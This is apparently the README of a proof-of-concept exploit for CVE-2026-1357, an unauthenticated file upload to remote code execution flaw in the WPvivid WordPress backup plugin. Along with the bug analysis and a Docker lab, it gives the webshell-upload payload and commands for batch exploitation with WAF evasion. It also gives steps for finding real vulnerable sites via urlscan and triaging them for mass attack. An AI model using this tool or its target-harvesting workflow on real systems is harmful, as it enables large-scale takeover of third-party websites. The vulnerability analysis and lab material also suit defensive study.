
Proof-of-concept exploit for CVE-2026-1357, an unauthenticated arbitrary file upload in WPvivid Backup & Migration leading to remote code execution. Includes a standalone Python script, WAF evasion techniques, and a Dockerized vulnerable lab for authorize
PoC for CVE-2026-1357 (CVSS 9.8 Critical, CWE-434): an unauthenticated arbitrary file upload in the WPvivid Backup & Migration plugin for WordPress that leads to remote code execution. Fixed in 0.9.124 (changeset 3448386). Reported by Lucas Montes via the Wordfence Bug Bounty program.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
This proof of concept is provided for authorized security research, education, and defensive testing only.
The unauthenticated send_to_site handler
(includes/customclass/class-wpvivid-send-to-site.php) decrypts an
attacker-supplied blob and writes the contents of $params['data'] to
wp-content/wpvividbackups/<attacker-controlled name> — with no
authentication, no nonce, and no path sanitization on name.
The intended protection is RSA: the message must be encrypted with a random
session key, which itself is RSA-encrypted with the site's key. The flaw is
in WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // returns FALSE on failure (bad key blob)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE is treated as a null-byte key
return $rij->decrypt($data);
phpseclib's Crypt_RSA::decrypt() returns false when the supplied key blob
cannot be decrypted (e.g. openssl_private_decrypt() fails), and the plugin
does not abort. false is then passed to Crypt_Rijndael::setKey(), where
strlen(false) → 0 → the key is padded to 16 null bytes (AES-128, CBC
mode, null IV). An attacker therefore "encrypts" the payload with a fully
predictable null key — no knowledge of the real site key is required.
The payload is JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
name is concatenated into the path without sanitization
(str_replace('wpvivid','wpvivid_temp', $name) only rewrites the
"wpvivid" substring), so ../../ escapes wp-content/wpvividbackups/ into
the webroot. When file_size/md5 match, the temp file is renamed to the
attacker-chosen name → publicly accessible PHP → RCE.
The fix (changeset 3448386) aborts when the RSA step fails:
if ($key === false || empty($key)) {
return false;
}
Target:
wpvivid_api_token option must exist and not be expired — created
whenever an admin clicks Generate under WPvivid → Settings → Auto
Migration (common on sites that use the migration feature)Attacker:
script.py is fully standalone: standard library only, no local imports,
no external files. Simple positional CLI:
# single target
python script.py https://target.example.com
# custom command
python script.py https://target.example.com --command "uname -a"
# batch mode (one URL per line) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# WAF evasion: percent-encoded param names/values or multipart body
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# self-delete the webshell after the test
python script.py https://target.example.com --cleanup
Exit codes: 0 vulnerable, 1 otherwise.
../lab/ contains a dockerized vulnerable target (WordPress 6.8 + WPvivid
0.9.123 source from plugins/):
cd ../lab
docker compose up -d
# complete the WordPress install at http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Verified working source (tested live, no account needed):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 indexed pages referencing the plugin slug; click through and collect
the hostnames. Every result URL starts with the plugin path
(/wp-content/plugins/wpvivid-backuprestore/), so host extraction is easy.Queries that were tested and do NOT yield targets (excluded on purpose):
Google/Bing dorks (inurl: returns only the plugin's own wordpress.org pages
or a bot wall), DuckDuckGo (same), Shodan http.html: (indexes truncated
HTML, zero hits), Wayback CDX wildcard (empty), PublicWWW (guest-scraping
blocked).
Feed the collected hosts to triage (built into script.py as --triage),
which checks for each site:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (unauth low-noise check; ?ver= asset query strings
in the HTML are the fallback)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSON response (The key is invalid.) = wpvivid_api_token exists;
empty = no token / plugin inactive / WAF dropped the probeOnly sites that are <= 0.9.123 and token-live are written to
in-scope.txt, then:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Techniques ported from a long-lived 2025 uploader that kept working in the wild (same author):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, same-origin Referer, browser UAReferer--threads N) with short per-request timeoutssuccess.txt / failed.txt written in batch mode, only verified shells
recorded as success (like the original's success file)--encode / --multipart for request-shape evasion../lab/waf/ adds a owasp/modsecurity-crs:apache reverse proxy in front of
the vulnerable WordPress (WAF on :8092, raw target on :8093). Measured
behavior:
| Step | Result through CRS |
|---|---|
| Upload POST (plain) | passes — AES blob + AJAX headers match no CRS rule |
Upload POST (--encode) | passes |
Upload POST (--multipart) | passes |
Shell GET ?<p>=id / hostname / ls | passes, command executes |
Shell GET ?<p>=id; hostname; uname -a | 403 — CRS 932xxx command-injection rules |
| Plain GET (PWN-OK marker) | passes |
The encrypted upload is invisible to CRS content inspection (same survival
property as the 2025 uploader's whitelisted-looking AJAX). The only CRS
surface is the follow-up command GET, so the tool now defaults to --command id
and confirms RCE via the plain-GET PWN-OK marker even when the command GET
is WAF-filtered (reported as vulnerable with a note). On-host WAFs that
signature wpvivid_action=send_to_site (e.g. Wordfence virtual patch) still
block the upload itself at the plugin level — no request-shape trick gets
past those.